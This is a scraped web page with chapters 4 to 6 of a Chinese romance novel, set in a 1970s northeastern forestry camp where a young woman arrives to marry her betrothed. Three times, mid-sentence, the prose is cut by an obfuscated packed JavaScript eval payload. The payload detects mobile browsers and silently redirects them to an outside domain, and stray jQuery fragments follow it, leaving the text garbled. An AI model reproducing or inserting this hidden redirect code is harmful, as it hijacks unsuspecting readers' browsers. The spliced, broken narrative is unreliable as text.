直到入夜,又是吃药又是拿高度白酒擦身,总算把孩子的体温降了下来,单秋芳才突然想起一件事。
这边叫金川的林场有两个,一个金川,一个小金川,她当时应该没说错吧……
4. 上山
严雪也发现了这个问题,在她找乘务员补票的时候。
饶是她清楚记得单秋芳说的是金川,还是忍不住问了句:“有两个金川林场吗?”
她怕单秋芳当时着急,没把话说清楚。现在车都开了,她也没法回去找她确认。
乘务员拿着票夹头也没抬,“一个金川,一个小金川,开采时间不一样,票价也不一样。”
严雪略一思忖,最后还是掏出四毛钱,买了去金川林场的票。
单秋芳既然说是金川,那就先去金川找找看。实在找不到,再去小金川找也来得及。
乘务员说两边离得不远,也就一站路,顺着火车道就可以走过去。
小火车车道窄,内部空间自然也要小许多,没有长座位,两边都是双人座。严雪补完票,在靠近过道那边找了个位置,才坐下没多久,窗外就纷纷扬扬飘起了雪花。
关外的雪和关内的很不一样,有种张扬不羁的肆意,一旦下起来,仿佛天地间都只剩下这一种颜色。
火车刚开出澄水的时候,窗外积雪还只到小腿高,停了两站后就明显没过膝盖了。雪花落得大,也很快开始遮挡视线。
严雪在车上晃了一个多小时,才听乘务员穿过车厢报,金川林场到了。
澄水那个森铁的车站虽然小,但好歹有个车站,金川林场连站台都没有,最后一阶严雪完全是跳下去的。
她站稳脚,隔着雪幕打量了下这个全然陌生的地方。
自从五几年国家开始对长白山林区进行采伐,十几年间先后在澄水建立了数个林场。金川算是比较新的,位置也比较深,刚好处在群山之中一个山坳里面,粗略一看,少说也得有二三百户人家。
因为下雪,路上人并不多,还是有个跟她一起下车的阿姨见她眼生,主动问了她一句,“闺女你找谁?”
“大姨您认识齐放吗?应该是这几年才来林场的,人很高,有一米八,长得也很好看。”
对于这种突然而来的热情,严雪倒不认生,更不会像一般年轻姑娘扭扭捏捏,特征说得很清楚,力求精准地找到人。
那阿姨显然没想起来,但人真的很热情,直接把她带去了场部,“人都是他们管的,他们肯定知道。”
这回总算问到了,金川林场的确有个叫齐放的年轻职工。好消息是单秋芳没说错地方,严雪不用再跑一趟小金川了;坏消息是今年伐区位置远,采伐任务重,为了节省时间,采伐队现在都住在山上,平时根本不下来。
“要不你先在招待所住一宿,看看明天有没有通勤车上去。”场部的人建议。
等人下来不现实,从林场上山的路又远,雪还厚,靠两条腿走上去,天黑都不一定能到地方,更别提严雪还不认识路。
严雪点点头,笑着跟对方道过谢,正准备拉上围巾去不远处的招待所入住,场部门一开,又有人走了进来。
“你先等一下。”刚那人突然叫了她一声,问来人:“你那拖拉机修回来了没有?”
“修回来了,正等着调内燃机往山上运呢。我看这批KT-12早晚得废,用十几年了,老毛子那边现在还不给咱们供应零件,隔三差五就得趴一次窝。”
来人三十左右的年纪,一身肥肥大大的蓝灰色棉大衣,显然和他还算熟悉,一面抱怨,一面解了手闷子到铁炉子边烤火。
场部的人也很无奈,“坚持坚持,过这个年就好了,我听说局里今年要调两台新出的集材50拖拉机过来。”
“别又跟之前那批东方红54一样。”刚进来那男人依旧撇嘴。
长白山林区最早开始采伐的时候,运输方式极其原始,冬季使用牛马拉爬犁,俗称牛马套,夏季放排。
五十年代引进了一批苏联的集材拖拉机,效率才有了大幅度提升。可惜后来又赶上□□放卫星,各林场争着打破最大集材记录,导致机器超附和运作,严重磨损,经常出现问题需要修理。
东方红54就是这时候被调过来的,但这是农用拖拉机,地隙小,效率低,又没有集材专用的装置。各林场试用了一阵,实在不适用,又转调到了营林和农业战线。
这些场部那人也知道,“这次的集材50不错,已经有林场用了几年,都说效率很高,比KT-12强。“
又对来人道:“既然你要上山,顺便把这位女同志带上去,她来咱们林场找人的。”
“我那是运拖拉机,又不是通勤车,怎么带人?”男人这才看向严雪,语气明显不耐。
目光触及到严雪的脸,那不耐又顿了顿,收敛两分,“带人也得站拖斗上。”
严妈虽然没给严雪生个好身高,却着实给她遗传了一副好相貌,一张典型甜妹的脸。
场部生了炉子,比外面暖和很多,为了表示礼貌,她说话时将被哈气冻硬的围巾拉到了下巴,刚好露出一张巴掌大的俏脸。眼睛明而亮,盈盈含着一汪笑意,五官小巧精致,又因为线条柔和没什么攻击性。
场部那人一听就知道有戏,问严雪的意见:“站车斗上行吗?”
不站车斗上,就得等明天才能上山,明天还不知道什么时候会有通勤车,严雪自然没有意见。
于是这一天第二次换交通工具,还换成了露天的,严雪完全是顶着风雪进了大山更深处。
“妹子来串亲戚的?”路上后进来那男人问。
听他自我介绍他姓梁,让严雪叫她梁哥,是金川林场仅有的两个拖拉机手之一。
“算是吧。”八字还差一捺,严雪并没有说自己是来相亲的,反而问:“这么冷的天还要上山采伐,林场很辛苦吧?”
“那肯定的啊,哪天晚上回去,棉裤不湿得透透的,不放在炉子上烤干根本没法穿。这还是现在,只有冬天有采伐任务,以前全年都得采伐,每天早上天不亮就出发,晚上黑透了才回来,孩子早睡了,好几岁都不知道亲爹长啥样。”
一提起这个,梁哥话明显变多,严雪也不插话,只在一旁静静听。
“你上山是要找谁?”梁哥绕了一圈,话题又回到了严雪身上。
这个没什么好隐瞒的,严雪也就实话实说,“齐放。”
“那小子啊。”梁哥顿了一顿,也不知是不是想到了什么,:“那小子挺能干的。”
很快,内燃机拖着车斗停在了山上临时搭建的营地。梁哥将拖拉机开下去,说什么也要亲自带严雪去找人,“拖拉机本来就不够用,还整天趴窝,这几天采伐都停了,全在放冰沟。你一个人不认识,自己找不着。”
相比几十年后,这年代的林业工人大概从不知道什么叫雪休,大雪始终下着,也不耽误他们热火朝天干工作。
怕雪太大把伐好的木材遮住,导致运输时遗漏,来年春天木材烂在大山里,验收不合格,众人甚至更加快了动作。隔很远,严雪都能听到四人一杠或是六人一杠抬木材时,工人们一唱一和的号子声。
“那就是冰沟,往下放木头的,以前没见过吧?”梁哥指了不远处一条长长的雪道。
这冰沟跟后来冰雪世界放轮胎的有些像,却比那大很多,长很多,沟里冰面上覆着雪,一看就很滑,严雪还真没见过。
梁哥就边走边和她介绍,“这玩意儿一下雪就得开始弄,还挑地方,又得选缓坡,又得带弯,不然冲下来劲儿太大,刹不住。弯又不能太大,不然就飞出去了。有时候木头趟不下来,还得往上浇水,不过比人扛、牛马拉都快。”
正说着,那边山上吆喝一声:“下去了!”鱼骨一般斜着在沟顶排开的圆木已经又被撬起小头,顺过来滚进沟一根。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563187|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这种老林子里面的树树龄都很长,一棵甚至能有上千斤,砸在沟里声音闷且重,很快便几个转弯冲到了沟底。而沟底早有人等在那,都事先找好掩体躲着,等圆木停稳,立马上来检尺装车,运到山下的楞场存放。
梁哥眯眼在雪中打量一番,带着严雪往那边走,“应该就是这一队。”
山上雪更深,不过采伐队之前都在这边作业,倒是踩出了不少路,没有想象中那么难走。
梁哥在前面带路,还不忘回头问严雪:“能跟上吧?”
“能。”严雪已经感觉到雪从脚脖子灌入,慢慢浸冷整个小腿,但还是没有放慢速度,“咱们靠这么近是不是不太安全?”
她可是亲眼看到那些圆木滑下来时力道有多大,着实有些不放心。
“没事,我领路你还不放心?以前没有拖拉机的时候,这放冰沟的活可都是我领头。”
梁哥不以为意。
严雪还要再说什么,一个身影突然飞速靠近,扯着梁哥的后衣领连退数步。
怎么也有个一米七几的梁哥竟然完全没法反抗,就这么一屁股跌坐在雪地里。
“谁他妈拽我?”他狠力一甩胳膊。就要骂,一根合抱粗的圆木擦过他刚刚所站的位置,重重滑了出去。
一直滑出十数米,圆木仍去势不减,这要是砸在人身上,哪怕只是擦个边,不死也得受重伤。
梁哥的话戛然而止,严雪虽然离着还有一段距离,同样吓了一跳。
刚拽了梁哥那人已经掩在了附近一块山石后,视线淡淡扫过严雪,落在了梁哥苍白的面孔上,“还不走,等着做安全培训案例?”
每年采伐季开始前,林场上下都是要做安全培训的,何况梁哥是林场的老职工了,竟然也能犯这种低级错误。
梁哥脸上发烫,“谁知道今年冰沟哪个修的?这么远也能滑出来。“。”
这显然是在挽尊,对方眼神更淡了,甚至一个字都没再说,直接收回了视线。
这种无视比嘲讽更让人难受,梁哥脸上红一阵白一阵,“你装什么?要不是帮你带人,你当我愿意往这儿跑?”
帮他带人?
严雪正伸了手去扶梁哥,“你没事吧?”闻言忍不住又朝那人看去。
这回她看得仔细了些,发现那是个极为年轻的男人。个子很高,绝对不止一米八,因此显得身形特别颀长,同样是林场蓝灰色的棉衣制服,穿在他身上就是不显臃肿。
听到梁哥的话,对方掀了掀眼皮,没怎么走心地瞥过来一眼。
藤制安全帽下面的兽皮耳朵遮住了不少脸部线条,依旧难掩其英俊,尤其是一双桃花眼,明明该看狗都深情,却从内而外透着股冷淡。
如果这就是她要找的齐放,那姑姥姥还是保守了啊……
这长相何止是不赖,简直极品。
想着,梁哥已经避开了她扶人的手,“你不是要找祁放吗?他就是。”黑着脸自己爬起来,丢下她走了。
这下原地就只剩下她跟年轻男人,对方的视线也终于落到了她脸上,“你找我?”
语气淡得听不出什么情绪,眉眼间甚至有一丝懒怠。
“你就是齐放?”虽然梁哥那么说了,稳妥起见,严雪还是又确认了一遍。
对方没有回答,而是选择问她:“有事?”
这反应,倒像是忘了还有相亲这件事。甚至要不是姓名、相貌、身高都跟姑姥姥形容得一样,严雪都得怀疑下自己是不是找错了。
于是她再次跟对方确认,“前些天的信你应该收到了吧?”
事情定下来,姑姥姥就给这边回了信,信上交代了她准备出发的时间,算一算就是这两天到。
果然对方闻言抬眸,一直被眼帘半遮的瞳仁漆黑,“你是严雪?”
5. 婚约
祁放曾经定过一门娃娃亲,这个知道的人并不多。
毕竟当时年龄都还小,他只有十二,对方只有十岁,两人也只见过那么一面。
大部分时间,他都随外公生活在关外,很少回燕京。虽然两人偶尔也有通信,但他喜欢说自己最近学了什么,对方喜欢事无巨细跟他讲吃穿,讲小姑娘那点烦恼,实在聊不到一块去,渐渐也就不怎么联系了。
事情刚出那会儿,他已经有三年没再收到过对方的来信。
对方家里避嫌的态度也很明显,生怕沾到一点,连累到自家,他自然不会上赶着给人家添麻烦。
没想到前些天突然收到对方家里的来信,跟他要两家当初定亲的契书。这也就罢了,可能是怕他不给,还故意提到了他的家人。
如果祁放蠢一点,可能还看不出那话里的威胁,可惜他从小最为人称道的就是智商……
他嘴角牵起微不可察的弧度,“东西我都随信邮过去了。”
很凉,甚至还带着丝讥诮。然而雪太大,不远处又吵,严雪并没有察觉,微微诧异后,还当他说的是那一百块钱彩礼,虽然有点纳闷怎么突然提起这个,还是道:“嗯,我收到了。”
那她还来干嘛?想看看他现在究竟有多落魄?
那一点讥诮的弧度也被扯平,祁放注视着不远处只剩一双眼睛露在外面的姑娘,半晌没有说话。
严雪倒是早听说对方似乎话不多,尤其他们还是在这种情况下相遇,自己往前走了几步,“你比小时候好看多了。”
很轻松的语气,很大方的赞美,换到别的场景绝对是个能调节气氛的开场白。
可祁放听在耳里,只觉莫名其妙,他甚至怀疑对方是不是有什么很恶毒的话等在后面,需要先夸他一句让他全无防备。
这让他眼神更凉,“有话就直说,我还有工作。”
看来有点直男,还不太会说话……
严雪就说对方长这么好,又有工作,按理说应该不缺人看中,怎么也要回老家找对象。
她点点头,“行,不浪费你时间。”
祁放眼睑都垂下去了,眼神也漫不经心撇到一边,准备不管对方说什么,听完就走,对面的姑娘却伸出一只被手套包裹严实的小手,“齐放同志你好,正式自我介绍一下,我是严雪,来和你结婚的。”
来和他结婚的???
祁放倏然顿住,再抬眸,眼底已难掩错愕。
他再次打量起眼前这个身形娇小的姑娘,“你可考虑清楚了。”
结婚不是儿戏,不是她一时任性,或者一时同情,就能随便决定的,尤其是在她家里明确提出退婚以后。
严雪却弯起眸,一双又圆又亮的眼睛瞬间成了月牙儿,“我都来了,肯定考虑清楚了。”
本来她看中的就是对方条件合适,说是来相亲,不过是怕对方有哪里自己不能接受,留条后路。现在人见了,虽然性子冷淡了点,也不怎么会说话,但长得的确极品,能冒着风险出手拉人心也肯定不坏,她没什么好后悔的。
严雪笑盈盈仰起脸,“还是说你想反悔?”
她生得娇小,头顶只到祁放下颌,因此越发显得那双唯一露在外面的眼睛又大又漂亮,挂着霜色的睫毛密密长长。
祁放默默注视伸到自己面前的小手半晌,突然转身便走,“等着,我去请假。”
个子高最直观的好处就是腿长,严雪要费劲走上半天的路,他没花多少时间就到了。
负责这一队的工队长刘大牛正在坡上盯着人往下放圆木,见他上来,刚要问,他已经先开了口,“我有点事得先走,今天记我早退。”
祁放来林场两年多了,别说迟到早退,逢年过节都没离开过,简直像从石头里蹦出来的。
难得他有事请假,刘大牛也没问,摆摆手,“这都快下工了,记什么早退?”
“那我走了。”祁放点点头,再沿原路下来,神色已经彻底恢复如初。
他把严雪带去了营地的宿舍,一排紧依山坡而建的地窨子。
这种建筑也算是高寒地区的特色了,建的时候先在地上挖出来一个一两米深的长方形土坑,再立柱脚,架上高出地面的尖顶。因为地势低,不受寒封侵扰,比建在地上的建筑要暖和许多,甚至能达到零上。
依山而建,一来是可以不用全都向下挖,更省力;二是用树枝和雪覆盖后更加隐蔽,离远了根本看不出来。
当年东北抗联,杨将军他们住的就是这种地窨子。林场没什么隐蔽的必要,但每一年冬天的伐区都不一样,基本一年一换,挖这个又省事,又方便取暖。
严雪随着对方走下几阶台阶,立马感觉到了与外面不同的温度。
借着门口投射的光线,她打量了下里面,发现大概有十来平米的空间。
靠内的大通铺上一溜儿排开十多个行李卷,一群糙老爷们的宿舍懂的都懂,没太大异味,只能说是温度不够。
祁放将摘下来的安全帽放到其中一处,示意严雪可以坐在那,自己先去把煤油灯点上。
严雪猜这应该就是他的床铺了,说实话整理得很干净,在一众蹭得甚至发亮的被褥间显得格格不入,看得出有良好的卫生习惯。
祁放正蹲身点着屋中间一个铁皮炉,见她打量四周,不咸不淡吹灭手中的火柴,“这边就这条件。”
别说她一个城里长大的娇小姐,山里的姑娘都没几个吃得了这苦。采伐队除了活较轻的检尺工,剩下伐木、归楞、运输,岗位上清一色的大男人。
严雪倒觉得还好,和她另一段记忆里的上一辈子相比,不论是关里农村还是这关外的林区,条件都没好到哪里去。
她拍着裤腿上的雪,防止雪化之后全湿在棉裤里,“你们一整个冬天都住在山上吗?”
语气倒像是真的想知道,而不单单是以此为切入点开始一段谈话,更没有想象中对这简陋条件的嫌弃。
相比小时候,她显然会隐藏情绪多了。不像第一次见面,一开始还带着点懵懂的好奇,后来见他话很少,摆弄的又是些她不感兴趣的东西,就流露出不耐来,还自以为隐蔽地问妈妈什么时候能回家,她想回家吃冰糕。
祁放淡淡掀了掀眼皮,“最早十月就得进山,铺小火车道,盖房子。”
也是,每一年的伐区都是重新划定的,不先铺小火车道,东西根本运不上来。
严雪点点头,那边祁放将劈成大瓣的柴火丢进铁皮炉,拍拍手起身,靠在了她对面的门柱上,“这事你家里人知道吗?”
他有点怀疑对方是偷跑出来的,只是不知道她哪里来的介绍信,应付这一路来的检查。
没想到严雪竟然说,“知道,我奶奶和我弟弟都知道。”很认真回答的语气。
这让祁放的目光不自觉落在她脸上,琢磨起他这话里的意思。
说实话祁放有点意外,不过没提父母,应该是对要不要退婚这件事严家人意见也不统一,有人想见风使舵,有人想信守承诺。
可明明他都同意退婚了,他们还把人送过来吃苦,是该说太过死板还是太过天真?
祁放一时没有做声,严雪不知道他是不是问完了,既然他不说话,她就先说了,“你是要反悔吗?”又问了遍之前的问题。
如果是,虽然有点麻烦,她也不是非要强求的性子。
“没。”这回祁放回应得倒快,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563188|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是神色半隐在煤油灯昏黄的灯光中,有些辨不清。
没有想反悔,那就是出于郑重,才先问了她的想法,又问她家里人的意见……
严雪发现这人虽然时常半敛着眼眸,一副对什么都不上心都不感兴趣的样子,靠在门柱上的姿态也懒懒的,但做事还算仔细,也很认真。至少反复确认女方意愿这行为非常绅士,有别于这个年代一般男人的大男子主义。
她在逐渐温暖起来的室内吐出一口气,“我想问一下,这边林业工人的家属都能干什么?能找到工作吗?”
既然两边都没有想反悔,她最关心的还是这个,毕竟这才是她的立身根本,决定了她以后能不能站稳脚,把弟弟接来。
而关心这个,就代表她是真的打算今后在这里生活,祁放再不可置信都不得不信。
望着那张在记忆里已经变得模糊又重新清晰起来的脸,他正要开口,外面咯吱咯吱的踩雪声渐进,有人几步冲下来推开了门,“今天雪可真他妈大……”
话说完,才发现屋子里一站一坐的两个人,不由一愣。
好一会儿,对方才从严雪脸上收回视线,赶忙解释:“我回来拿个东西,没注意屋里有人。”
说着快步去角落的桌子那拿了饭盒,就要出去,只是临走前,目光忍不住又在严雪身上溜了一圈,小声问祁放:“你妹子?”
不是他没往其他方向想,主要这俩人之间看不出一点暧昧,祁放一如既往冷冷淡淡,严雪也不见任何不好意思。
面对他就差凝成实质的好奇,祁放并没有多做解释,“已经下工了?”
“我们那队干得快,提前了一会儿。”见祁放没否认,对方觉得自己懂了,“你们聊,我先走了啊。”
两人都不是什么人前张扬的性子,等脚步声远了,才继续之前的话题。
“你……”
“你……”
刚开了个头,“砰”地一生门响,又有人进来了,“我拿个东西啊!”
解释得实在太急太主动,还借着找东西自以为隐蔽地瞄了严雪好几眼,说他不是知道了点什么没人会信。
不止他,门口紧接着还又探进来两颗年轻的脑袋。
这俩大概不是这个宿舍的,见祁放和严雪看来,立马表示自己那屋暖瓶没水了,过来借一点。
然后说完才发现嘴上讲着要借水,却连个水壶都没拿,赶紧回去取。
跑得太急,出去的时候就忘了关门,严雪清楚听到两人上去后自认为小声地跟人说:“是长得漂亮。”
就有那么点意外吧,又不是很意外。
山上女人少,采伐队一水儿的糙老爷们儿,突然来个这么年轻这么水灵的姑娘,没人好奇才怪。
就是这帮人大概在空旷的地方干活久了,交流基本靠吼,很多工作还要喊号子,哪怕故意压低,嗓门也真的很大……
严雪看了祁放一眼,发现这男人似乎也有些无语,很有骨感的手指还按了按眉心。
这回等人走了,两人沉默了更久。像是都怕这边一开口,那边又有人进来。
好一会儿严雪忍不住失笑,“你这些同事还挺有意思。”
也就这种没吃过苦的大小姐,才不明白这样的条件意味着什么,还能带着天真说一句有意思……
祁放嘴角轻扯,刚要说什么,又有脚步声靠近。
这回就连他向来冷淡的语气里都带上了不耐,“还有什么事?”
“我……”被那双骤然瞥来的眼睛望着,来人着实磕巴了一下,“是有点事……”
话还没说完,脑袋便被后面跟来的人拍了下,“跟咱哥还磨唧,啥你有事?是作业区出事了。”
6. 考虑
谁也不知道刚才还是祁放,怎么一转眼就成了咱哥。
不过也没人在意这个就是了,作业区出事才是大事,毕竟林业采伐是很危险的工作,每年都有人因为工伤致死致残。
祁放立马去床铺拿自己的安全帽,“人伤得重不重?”
俯身时,刚好和严雪望过来的视线对个正着,他一顿,严雪已经主动开口,“我也去看看。”
年轻姑娘快速给自己包上了围巾,“在这也是干等,你们放心,我不靠太近,也不乱走,不会给你们添麻烦。”
她待在地窨子里的确是干等,而且想想之前她差点被圆木砸到,有些事警告一万遍也不如亲眼所见。
祁放没说什么,几人一边往外走,一边把事情说了个大概。尤其是一不小心把咱哥叫出来那个,表现得非常主动。
本来临近下工,各工队的工作都开始收尾了,不该出什么事才对。可油锯手负责伐木,跟别的工种不太一样,速度够快的话,是可以把两三天的树木一次性伐完,腾出时间进林子里搞副业的。
毕竟林场运输能力有限,伐再多,每天也只能运那些立方。
严雪没去的另一个工队,就有人想明天进山炸松塔,急着把活干出来,结果碰上了个不太好伐的大家伙。
这种树直径宽,体积重,很考验锯手的水平和经验。有时候明明锯透了,但就是不倒,需要往树要倒向的方向丢一件大衣或者棉帽子,用风带动树倒下去。
但今天本来就下雪,对方丢棉帽子时又着急,明明喊的是“迎山倒”,提醒周围人树是朝着山上倒去的,真倒的时候却横着下来了。
因为锯手会早三天进山,和大部队隔出70米的安全距离,其他人倒是没事,跟他的两个助手之一却被分枝压在了下面。
“人暂时没有生命危险,不过半边身子都血刺呼啦的。场长已经去调摩托卡送他去医院,还叫了大家去机库开会,估计是要强调安全问题。”
说话间几人已经到了存放拖拉机、发电机的机库,因为人多,机库的门并没有关,严雪也就停在了门外。
果然是强调安全问题,林场场长铁青着脸,把犯错的李树武喷了个狗血淋头。
急功近利致人受伤,还是为了出去搞副业,这么大的责任,背一个处分都是少的。
场长当场就把人从锯手的位置上撸下去了,换了曾经也是锯手的工队长刘大牛。除非他今后表现好,拿到资格重新去局里参加培训,不然怕是很难回到这个岗位上。
“另外,我还听说有人把没做安全措施的家属带到了作业区。”处理完这件事,场长话锋一转。
也不知道是听谁说的,大概并没有听明白,他看向的是人群中无论身高还是长相都过分突出的祁放。
一上山就是好几个月不回家,偶尔有家属上来探望并不算啥稀罕事,但那是平常,这时候撞在枪口上,搞不好也要跟着挨批。
果不其然,这事被场长抓了典型,“安全作业安全作业,年年采伐年年强调,可就是有人不把自己和他人的生命安全当回事。少见一会儿能咋的,就你一个有家人吗?真出了事谁负责?”
说实话着实有点冤,但现在出言解释,就等于当众让对方没脸,何况人本来就是冲着祁放来的。
祁放没说什么,只淡淡望向另外一边的梁哥。
单他一个人也就罢了,可现在机库内外不少人都在有意无意打量他,他这一动,那些视线也跟着落了过去。尤其是不小心把咱哥叫出来那小年轻,见此甚至小声问祁放:“他告的状?”
梁哥虽然没听到,但人是他带上来的,他本就心虚,自己猜测比真听到了更让他心里没底。
他忍不住做出不悦,“都看我干啥?”
这一出声,简直就像是不打自招,前面正在批人的场长当时就顿了一顿。
再看下面这架势,祁放一脸平静,反倒是梁哥眼神闪烁,显然是在虚张声势。场长本就不算好的脸色瞬间更差,可还是清了清喉咙,“这次我就不点名了,谁的问题谁自己回去检讨,下次就不是通报批评这么简单了。”
话说得好听,可严雪离得远,还是听到身边有人嘀咕:“刚才还要抓典型,咋又不点名了?”
“谁知道,不都看他女婿吗?搞不好这事儿跟他女婿有关。”
“那他一开始就不应该提。”
“谁管他家那点破事儿,倒是老郭家这回倒霉了,老郭前年刚没,这又搭上个儿子……”
虽说在林场久了,总能看到身边的人受伤,一提起来还是难免唏嘘。
等会散了,林场调配过来的摩托卡也加好油开了过来。
祁放从机库出来,就看到严雪盯着不远处刚被抬出来的伤员,一弯起来就会变成月牙儿的双眼里早没了笑意,反而流露出怜悯。
他也望过去,“本来年前一放假,他就要结婚了。”
这让严雪垂下长睫,变得更加沉默。
“我去给郭家报个信,顺便把你送下去。”祁放看了她一眼,说。
严雪没反对。
他就去跟负责送人去镇林业局医院的人说了声,带着严雪一起上了摩托卡。
这种轨道机车是当地机械厂自己用汽车改的,后面挂个车厢,十分简陋,性能也很一般,主要应用于铁道建设和维修。但小火车和内燃机总有调度不方便的时候,每个林场备一台,防的就是这种不时之需。
车子跟随时要散架一样,从山上开到林场,等祁放跟严雪都下了,还要开向镇里。
两人谁也没问谁的意见,都选择了先去受伤的郭长安家,将事情通知给他的家属。
过来开门的是个五十来岁的小老太,身后还跟着条虎头虎脑的小尾巴,大概刚刚正在和孩子说话,一张脸上满是慈爱的笑容。
严雪突然觉得有些残忍,她和祁放即将说出的话。
祁放向来冷淡的神色似乎也有一顿,但还是开口说了,小老太的笑容当即凝固在了脸上,身子往下一歪。
从郭家出来的时候天已经完全黑了,天地寂静中,身后院子里无法压抑的哭声格外刺人耳膜。
就和上辈子严雪六岁那年,从她家里传出的哭声一样……
“这种工伤林场会负责的吧?”踩着脚下通往招待所的路,她轻声问。
祁放“嗯”了声,然后就又没了话。
好一会儿,他才打破萦绕在两人间的沉默,“林场小年才放假。”
嗯,所以呢?
严雪抬脸望向男人,发现对方刚好也在转眸看她,“我这几天都不能下来,你再仔细考虑考虑。”
他还是觉得她不合适也不应该待在这里。
有些苦吃一天是新鲜,吃一周吃一个月,就只剩折磨了。
这里没有她爱的衣服鞋子,没有电影院剧院,甚至连电都不通。只有每天晚上趁着林场发电给小修厂修理机械,才能蹭一点儿,最多也只能蹭到九点,九点后就只剩一片漆黑。
这里的职工普遍文化不高,好多职工家属甚至连字都不识,她想找个说话的人都很难说到一起,更别提还要面对今天这样的事。
与其到时候后悔,还不如趁着还来得及多了解了解,该走就早点走……
第二天一早,严雪是被广播声吵醒的。
林场每天早上广播都会准时响起,一来让大家了解下外面的讯息,二来也能提醒林场的职工该上班了。
严雪没有睡懒觉的习惯,两辈子的经历也没给她睡懒觉的机会,很快就彻底清醒,摸向烘在炕上的棉衣棉裤。
昨晚祁放把她送到招待所就走了,应该是去宿舍将就一晚,今天起早上山。
发生了那样的事,也不怪他让她再仔细考虑考虑。如果不是没有更好的选择,她也想考虑考虑。
不过林场虽然苦了点,危险了点,对比当地其他工厂待遇绝对算好的。镇里有医院,有中学,林场内部也有小学、招待所和食堂。
严雪手里还有点姑姥姥帮她淘换的全国粮票,准备去食堂吃点饭,吃完在林场转转。昨天她忙着找人,都没怎么仔细看。
刚出来,就被招待所的服务员叫住,“早上有个男同志过来,让我把这个给你。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563189|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>是一沓钱和地方粮票,没有出了省还能用的全国粮票值钱,但胜在够多。
看来这人冷归冷,直归直,做事还算周到,没一句再仔细考虑考虑,就把她丢在这里不管了。
严雪道过谢,刚出招待所,又被人叫住:“你是不是小祁家那个亲戚?”
这回是个四十来岁的中年女人,一手还提了个铁皮桶。因为雪已经停了,桶上并没盖,能看出来是刚磨的玉米糊。
既然是再考虑考虑,对外祁放自然没说这是自己的相亲对象,严雪也没解释,“您是?”
“我家那口子是小祁他们工队长刘大牛,小祁刚来那会儿宿舍没地方,还在我家住过半年。他早上走的时候碰上我,托我有空带你在林场转转。”
刘大牛严雪有印象,顶上犯错锯手的那个。看来说这个相亲对象周到还真没说错,连向导他都帮她找好了。
严雪弯起眼睛,笑着先和对方道了谢,“真是麻烦您了,您什么时候有时间?我吃完饭过去找您。”
“还吃什么饭?人都在山上呢,下面做那点东西狗都不乐意吃。”刘大牛媳妇一把拉住她,“走,上我家吃去,正好我家那几个小的在家睡懒觉,饭我给他们留在锅里,全都是现成的,你也别嫌乎。”
这人能拎动满满一个铁皮桶,力气哪是严雪能比的,愣是热情地把严雪拉去了自己家。
路上想到什么,她就和严雪说什么,全是有关林场的事,严雪也就没非要挣。
和招待所那边的砖瓦结构不同,林场职工住的多是自建的土房,当地人称“霸王圈”。林场不缺木头,里面以圆木作为支撑,缝隙间涂以混有干草的黄泥,看着又矮又小不太起眼,但比住久了会有缝隙的砖房暖和。
刘家院里养了狗,一听见有外人的脚步,就汪汪在里面叫起来。
“你等我进去拴一下,都是我家老爷子为打猎养的,一共三条,早上老爷子上山牵走两条。”
刘大牛媳妇放下铁皮桶,先进了院,不多会儿在里面喊:“好了。”
严雪看她堵在狗窝边,就帮她把桶也拎了进去。
“挺沉的吧?”刘大牛媳妇进门就问,“本来是老郭家要摊的煎饼,这不他们家三小子出事了吗?我就拎回来帮着干了。”
边说,她边一巴掌拍在正撅着屁股在大地锅里摸饭的男孩子身上,“你不冷啊?穿个裤衩就往外跑。”
这年代都穷,很多城里的孩子成年前也没穿过条线裤,更别提林场了。那男孩被拍了也不恼,就是看到有外人不太好意思,呲溜又钻回了屋。
“我家老小子,一天天就知道吃。”刘大牛媳妇带着无奈的笑意跟严雪介绍。
“正常,我弟弟也跟他这么大。”
结了婚的女人多爱和人聊孩子,听说严雪还有个这么大的弟弟,刘大牛媳妇态度又多了两分亲昵。
正说着,一个十五六岁的姑娘从里屋出来,见到严雪,脸色不太好看。
刘大牛媳妇让她叫姐姐,她虽然叫了,态度却不太情愿,只问刘大牛媳妇:“咱们什么时候走?”
刘大牛媳妇当时就被问住了,“妈今天有事,改天再去吧。”
小姑娘一听炸了,“大前天你就说带我去镇上卖东西,前天推昨天,昨天推今天,今天又有事!你是不是压根没想带我去?”
大人在面对孩子的事情时通常有一种轻视,认为自己的事比孩子的更重要,因此态度上常有敷衍,却忘了对于孩子来说那就是最重要的。
刘大牛媳妇那点心虚果然变成了恼怒,“这还有人呢,你懂不懂事?听妈的,今天天不好,改天再去。”
“你不带我去拉倒,我自己去!”小姑娘眼圈一红,回屋就背起了背筐。
看来她的确是期待已久,东西都提前准备好了。
